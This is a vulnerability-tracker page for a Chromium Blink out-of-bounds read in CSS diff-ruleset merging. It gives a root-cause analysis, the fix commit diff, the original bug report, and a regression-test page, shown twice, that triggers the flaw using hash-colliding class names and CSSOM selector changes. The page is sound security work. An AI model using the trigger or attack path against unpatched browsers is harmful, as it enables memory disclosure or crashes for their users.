High watch CVSS 8.8 chrome OOB 📄 Reporter bug report 🔧 Commit mapped

Overview

High
Severity
8.8
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactOut of bounds read in CSS
DescriptionOut of bounds read in CSS
ComponentCSS
Bug ClassOOB
Action tierwatch — information disclosure — security-relevant, below the RCE-class bar
Computed by PatchGap's deterministic exploitability ruler from the fixing commit. patch-now = RCE-class & attacker-reachable in a default config, or exploited in the wild; watch = real security signal below that bar; noise = no security relevance.
Tracker488188166
Fix commit2bfa338165ee (chromium/src) +84/-8
CWECWE-125 (Out-of-bounds read)
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CISA KEVNot listed
CreditedSyn4pse
Reported2026-02-27 (per vendor advisory)
Fix landed2026-03-02 (public git)
Disclosed2026-03-23
Patch gap21 days — fix public in source before the advisory

Background

`RuleSet` / `RuleMap`
Blink’s indexed collection of style rules, where RuleMap buckets RuleData entries by a key (e.g. class name) in a RobinHoodMap and stores them in a backing vector.
Diff rulesets
an incremental path that builds a new RuleSet by copying only selected rules (only_include) from an existing one via AddFilteredRulesFromOtherSet, used when a stylesheet is modified through CSSOM (as the shipped test does with selectorText).
Bloom hash backing
each RuleData refers to a slice [bloom_hash_pos_, bloom_hash_pos_ + bloom_hash_size_) of a shared Vector<uint16_t> of ancestor-filter hashes; NewlyAddedFromDifferentRuleSet copies that slice from the old backing to the new one via MovedToDifferentRuleSet and rewrites bloom_hash_pos_.
`RuleMap::Add` failure
Add() returns false when the RobinHoodMap refuses an insertion, which the commit message says happens with deliberate hash collisions.

Root Cause Analysis

In the diff-ruleset merge code in rule_set.cc, the result of Add(key, rule_data) was ignored and the code then called new_rule_set.NewlyAddedFromDifferentRuleSet(..., backing.back()), assuming the rule had just been appended. When Add() failed due to colliding keys, backing.back() was the previously added RuleData, so NewlyAddedFromDifferentRuleSet ran a second time on an entry whose bloom_hash_pos_ had already been rewritten to an offset in the new backing. MovedToDifferentRuleSet then used that new-backing offset to read bloom_hash_size_ elements from old_backing via unchecked old_backing.data() + bloom_hash_pos_, reading past the end of the old Bloom filter backing (the commit message states this directly).

The fix checks Add()’s return value and, on failure, falls back to placing the rule in new_rule_set.universal_rules_ (unmarking it as covered by bucketing and recomputing coverage), passing the correct new RuleData to NewlyAddedFromDifferentRuleSet; it also marks Add() [[nodiscard]] and replaces the raw copy in MovedToDifferentRuleSet with a bounds-checked base::span(...).subspan(...) so any similar error CHECK-fails.

Key insight
The code ignored Add()’s failure result and used backing.back() as “the rule just added”, so a failed insertion caused an already-moved RuleData to be moved again with a stale offset. The fix handles the failure explicitly with the universal-rules fallback and bounds-checks the Bloom hash copy.

Attack Path

  1. Colliding class names Web content defines rules whose bucketing keys collide in Blink’s string hash, as the shipped regression test does with class selectors.
  2. Trigger a diff-ruleset rebuild After an initial style computation, the page changes selectors through CSSOM (e.g. selectorText on rules of an adopted CSSStyleSheet), causing Blink to build a new rule set with AddFilteredRulesFromOtherSet.
  3. Insertion refused With enough colliders across old and new keys, RobinHoodMap rejects an insertion and Add() returns false.
  4. Stale double move NewlyAddedFromDifferentRuleSet runs again on backing.back(), and MovedToDifferentRuleSet reads from old_backing at a new-backing offset, past the end of the Bloom hash buffer.

Impact Assessment

This is an out-of-bounds heap read in the Blink renderer during style rule set construction, rated high by the vendor. The shipped test shows it is reachable by ordinary web content in a stock build using standard CSSOM APIs and crafted hash-colliding selector strings, with no flags, extensions, or compromised renderer required. The read values become Bloom filter hashes of the copied rule, so effects beyond a crash or incorrect style matching, such as information disclosure, are (inferred); the advisory does not report in-the-wild exploitation.

Files Changed

  • third_party/blink/renderer/core/css/rule_set.cc
  • third_party/blink/renderer/core/css/rule_set.h
  • third_party/blink/web_tests/external/wpt/css/selectors/hash-collision-cssom.html

Audit Directions

  • Ignored insert failures followed by `back()`
    Search for code that calls a fallible insert or Add() and then assumes vector.back() is the new element; any collision-capable container (RobinHoodMap, open-addressing tables) needs explicit failure handling.
  • Attacker-chosen hash collisions
    Review other Blink structures keyed by page-controlled strings (class names, IDs, attribute names, custom property names) for behaviour that degrades unsafely when probe limits are hit.
  • Offset fields reinterpreted across backings
    Audit objects that store indices into a shared backing store and are moved between owners, ensuring an index cannot be applied to the wrong backing after a partial or repeated move.
From 2bfa338165eef94983c6cd35e281450d994d2215 Mon Sep 17 00:00:00 2001
From: Steinar H. Gunderson <sesse@chromium.org>
Date: Mon, 02 Mar 2026 05:05:56 -0800
Subject: [PATCH] Fix out-of-bounds read in diff rulesets.

When merging diff rulesets, if Add() failed (due to a deliberate hash
collision, causing RobinHoodMap to refuse the insertion), we would
call NewlyAddedFromDifferentRuleSet() twice on the same RuleData,
causing us to potentially read data past the end of the Bloom filter
backing.

In addition to actually fixing the issue, we mark Add() as [[nodiscard]]
so that it cannot happen again, and we also spanify
MovedToDifferentRuleSet() so that a similar error would cause a CHECK
failure instead of reading out-of-bounds.

Fixed: 488188166
Change-Id: I38974eaa150c7c1e32482febea632b8371731aae
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7623313
Commit-Queue: Steinar H Gunderson <sesse@chromium.org>
Reviewed-by: Anders Hartvoll Ruud <andruud@chromium.org>
Cr-Commit-Position: refs/heads/main@{#1592383}
---

diff --git a/third_party/blink/renderer/core/css/rule_set.cc b/third_party/blink/renderer/core/css/rule_set.cc
index 3e9ef85..a70fe31 100644
--- a/third_party/blink/renderer/core/css/rule_set.cc
+++ b/third_party/blink/renderer/core/css/rule_set.cc
@@ -225,9 +225,8 @@
                                        Vector<uint16_t>& new_backing,
                                        unsigned new_position) {
   unsigned new_pos = new_backing.size();
-  new_backing.insert(new_backing.size(),
-                     UNSAFE_BUFFERS(old_backing.data() + bloom_hash_pos_),
-                     bloom_hash_size_);
+  new_backing.AppendSpan(
+      base::span(old_backing).subspan(bloom_hash_pos_, bloom_hash_size_));
   bloom_hash_pos_ = new_pos;
   position_ = new_position;
 }
@@ -1602,10 +1601,19 @@
       Seeker<StyleScope> scope_seeker(old_rule_set.scope_intervals_);
       for (const RuleData& rule_data : other.GetRulesFromExtent(extent)) {
         if (only_include.Contains(const_cast<StyleRule*>(rule_data.Rule()))) {
-          Add(key, rule_data);
+          RuleData* new_rule_data;
+          if (Add(key, rule_data)) {
+            new_rule_data = &backing.back();
+          } else {
+            // See comment in AddToBucket().
+            new_rule_set.universal_rules_.push_back(rule_data);
+            new_rule_data = &new_rule_set.universal_rules_.back();
+            UnmarkAsCoveredByBucketing(new_rule_data->MutableSelector());
+            new_rule_data->ComputeEntirelyCoveredByBucketing();
+          }
           new_rule_set.NewlyAddedFromDifferentRuleSet(
               rule_data, scope_seeker.Seek(rule_data.GetPosition()),
-              old_rule_set, backing.back());
+              old_rule_set, *new_rule_data);
         }
       }
     }
@@ -1623,10 +1631,19 @@
       const unsigned bucket_number = other.bucket_number_[i];
       const RuleData& rule_data = other.backing[i];
       if (only_include.Contains(const_cast<StyleRule*>(rule_data.Rule()))) {
-        Add(*keys[bucket_number], rule_data);
+        RuleData* new_rule_data;
+        if (Add(*keys[bucket_number], rule_data)) {
+          new_rule_data = &backing.back();
+        } else {
+          // See comment in AddToBucket().
+          new_rule_set.universal_rules_.push_back(rule_data);
+          new_rule_data = &new_rule_set.universal_rules_.back();
+          UnmarkAsCoveredByBucketing(new_rule_data->MutableSelector());
+          new_rule_data->ComputeEntirelyCoveredByBucketing();
+        }
         new_rule_set.NewlyAddedFromDifferentRuleSet(
             rule_data, scope_seeker.Seek(rule_data.GetPosition()), old_rule_set,
-            backing.back());
+            *new_rule_data);
       }
     }
   }
diff --git a/third_party/blink/renderer/core/css/rule_set.h b/third_party/blink/renderer/core/css/rule_set.h
index 48114bc7..99a0b00 100644
--- a/third_party/blink/renderer/core/css/rule_set.h
+++ b/third_party/blink/renderer/core/css/rule_set.h
@@ -231,7 +231,7 @@
 
  public:
   // Returns false on failure (which should be very rare).
-  bool Add(const AtomicString& key, const RuleData& rule_data);
+  [[nodiscard]] bool Add(const AtomicString& key, const RuleData& rule_data);
   void AddFilteredRulesFromOtherSet(
       const RuleMap& other,
       const HeapHashSet<Member<StyleRule>>& only_include,
diff --git a/third_party/blink/web_tests/external/wpt/css/selectors/hash-collision-cssom.html b/third_party/blink/web_tests/external/wpt/css/selectors/hash-collision-cssom.html
new file mode 100644
index 0000000..d7084ec
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/css/selectors/hash-collision-cssom.html
@@ -0,0 +1,59 @@
+<!DOCTYPE html>
+<html>
+  <head>
+    <title>Test string hash collision in bucketing</title>
+    <link rel="help" href="https://crbug.com/488188166">
+    <script src="/resources/testharness.js"></script>
+    <script src="/resources/testharnessreport.js"></script>
+ </head>
+ <body>
+   <div id="target"></div>
+   <script>
+      // These strings all collide in Blink's string hashing function (truncated Rapidhash).
+      const S1 = "a2fe00300000000";
+      const S2 = "a53ca1f00000000";
+      const S3 = "aa9a42f00000000";
+      const S4 = "ad7ee3900000000";
+      const S5 = "a97105400000000";
+      const S6 = "a17dd5600000000";
+      const S7 = "a65f15b00000000";
+
+      function forceStyleAndLayout() {
+        void getComputedStyle(document.documentElement).color;
+        void document.body.offsetTop;
+      }
+
+      test(() => {
+        const sheet = new CSSStyleSheet();
+
+        sheet.replaceSync(`
+          div .${S1} { color: red; }
+          div .${S2} { color: green; }
+          div .${S3} { color: blue; }
+          div .${S4} { color: purple; }
+        `);
+
+        document.adoptedStyleSheets = [sheet];
+        target.innerHTML = `
+          <div id="host">
+            <span class="${S1}">x</span>
+            <span class="${S2}">x</span>
+            <span class="${S3}">x</span>
+            <span class="${S4}">x</span>
+          </div>
+        `;
+        forceStyleAndLayout();
+
+        // Old keys: S1,S2,S3,S4
+        // New keys: S4,S5,S6,S7  (7 distinct colliders total across old+new)
+        const rules = sheet.cssRules;
+        rules[0].selectorText = `div .${S4}`;
+        rules[1].selectorText = `div .${S5}`;
+        rules[2].selectorText = `div .${S6}`;
+        rules[3].selectorText = `div .${S7}`;
+        forceStyleAndLayout();
+
+        // The test passes if the browser does not crash.
+      });
+  </script>
+</body>
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/third_party/blink/web_tests/external/wpt/css/selectors/hash-collision-cssom.html b/third_party/blink/web_tests/external/wpt/css/selectors/hash-collision-cssom.html
new file mode 100644
index 0000000..d7084ec
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/css/selectors/hash-collision-cssom.html
@@ -0,0 +1,59 @@
+<!DOCTYPE html>
+<html>
+  <head>
+    <title>Test string hash collision in bucketing</title>
+    <link rel="help" href="https://crbug.com/488188166">
+    <script src="/resources/testharness.js"></script>
+    <script src="/resources/testharnessreport.js"></script>
+ </head>
+ <body>
+   <div id="target"></div>
+   <script>
+      // These strings all collide in Blink's string hashing function (truncated Rapidhash).
+      const S1 = "a2fe00300000000";
+      const S2 = "a53ca1f00000000";
+      const S3 = "aa9a42f00000000";
+      const S4 = "ad7ee3900000000";
+      const S5 = "a97105400000000";
+      const S6 = "a17dd5600000000";
+      const S7 = "a65f15b00000000";
+
+      function forceStyleAndLayout() {
+        void getComputedStyle(document.documentElement).color;
+        void document.body.offsetTop;
+      }
+
+      test(() => {
+        const sheet = new CSSStyleSheet();
+
+        sheet.replaceSync(`
+          div .${S1} { color: red; }
+          div .${S2} { color: green; }
+          div .${S3} { color: blue; }
+          div .${S4} { color: purple; }
+        `);
+
+        document.adoptedStyleSheets = [sheet];
+        target.innerHTML = `
+          <div id="host">
+            <span class="${S1}">x</span>
+            <span class="${S2}">x</span>
+            <span class="${S3}">x</span>
+            <span class="${S4}">x</span>
+          </div>
+        `;
+        forceStyleAndLayout();
+
+        // Old keys: S1,S2,S3,S4
+        // New keys: S4,S5,S6,S7  (7 distinct colliders total across old+new)
+        const rules = sheet.cssRules;
+        rules[0].selectorText = `div .${S4}`;
+        rules[1].selectorText = `div .${S5}`;
+        rules[2].selectorText = `div .${S6}`;
+        rules[3].selectorText = `div .${S7}`;
+        forceStyleAndLayout();
+
+        // The test passes if the browser does not crash.
+      });
+  </script>
+</body>
Loading diff…

Original Bug Report

reported by he...@gmail.com

UAF in blink RuleMap

Summary

When Blink builds a “diff ruleset” during stylesheet mutation, RuleMap::AddFilteredRulesFromOtherSet copies selected RuleData entries into a new RuleMap but ignores the boolean result of RuleMap::Add(). Under deliberate AtomicString::Hash() collisions (documented as a supported failure mode of RobinHoodMap), RuleMap::Add() can return false; the copy path still treats backing.back() as the newly-added element and relocates bloom-hash metadata on the wrong RuleData. This desynchronizes RuleData::bloom_hash_pos_ from the source ruleset backing and leads to an OOB access in RuleData::MovedToDifferentRuleSet when copying bloom-hash slices.

Details

The intended behavior is that adding a key to a RuleMap either succeeds (appending a new RuleData to backing) or, if insertion fails due to collision pressure, a safe fallback is taken. The normal RuleSet build path already anticipates this: RuleSet::AddToBucket checks map.Add(...) and, on failure, places a de-bucketed copy of the rule into universal_rules_ to preserve correctness.

In RuleSet::AddToBucket, insertion failure is explicitly treated as an adversarial collision case and handled without touching unrelated RuleData:

if (!map.Add(key, rule_data)) {
  RuleData rule_data_copy = rule_data;
  UnmarkAsCoveredByBucketing(rule_data_copy.MutableSelector());
  AddToBucket(universal_rules_, rule_data_copy);
  return;
}

However, the diff ruleset path (used by RuleSetDiff::CreateDiffRuleset) does not apply this pattern. In RuleMap::AddFilteredRulesFromOtherSet, the result of Add() is ignored and the code unconditionally assumes that backing.back() is the RuleData that was just appended:

In RuleMap::AddFilteredRulesFromOtherSet, the copy loop ignores the return value from Add() and immediately uses backing.back():

if (only_include.Contains(const_cast<StyleRule*>(rule_data.Rule()))) {
  Add(key, rule_data);
  new_rule_set.NewlyAddedFromDifferentRuleSet(
      rule_data, scope_seeker.Seek(rule_data.GetPosition()),
      old_rule_set, backing.back());
}

RuleMap::Add() can return false when the underlying Robin Hood table cannot accommodate another key with the same 24-bit AtomicString::Hash() (bounded probe length). This failure is explicit in the implementation:

In RuleMap::Add:

RobinHoodMap<AtomicString, Extent>::Bucket* bucket = buckets.Insert(key);
if (bucket == nullptr) {
  return false;
}

When Add() fails in the diff-copy loop, backing is not appended, but backing.back() still returns the previous RuleData. NewlyAddedFromDifferentRuleSet() then calls RuleData::MovedToDifferentRuleSet() on that wrong element, which performs an unchecked copy out of the source ruleset’s bloom backing using the bloom_hash_pos_ stored in the RuleData:

In RuleData::MovedToDifferentRuleSet, bloom_hash_pos_ is used as an offset into old_backing without validating that it still refers to that backing vector:

unsigned new_pos = new_backing.size();
new_backing.insert(new_backing.size(),
                   old_backing.data() + bloom_hash_pos_,
                   bloom_hash_size_);
bloom_hash_pos_ = new_pos;

Because the wrong RuleData has typically already been relocated into the diff ruleset’s bloom_hash_backing_, its bloom_hash_pos_ now refers to the diff backing. Reusing that value as an offset into the source ruleset’s old_backing produces an out-of-bounds source pointer passed into Vector<uint16_t>::insert(), leading to the OOB.

Bisection

This issue is introduced by the commit c3afc7e99450e707a4df6ef81b86b71d7def8c09, which introduce the incorrect implementation for the RuleMap::Add() calls.

Reproduction

Download the chrome from https://storage.googleapis.com/chromium-browser-asan/linux-release/asan-linux-release-1591355.zip

Run command:

./chrome --no-sandbox poc.html

The ASAN crash is shown in the asan.txt

Suggested Fix

In RuleMap::AddFilteredRulesFromOtherSet, handle RuleMap::Add() failure explicitly.

View on issue tracker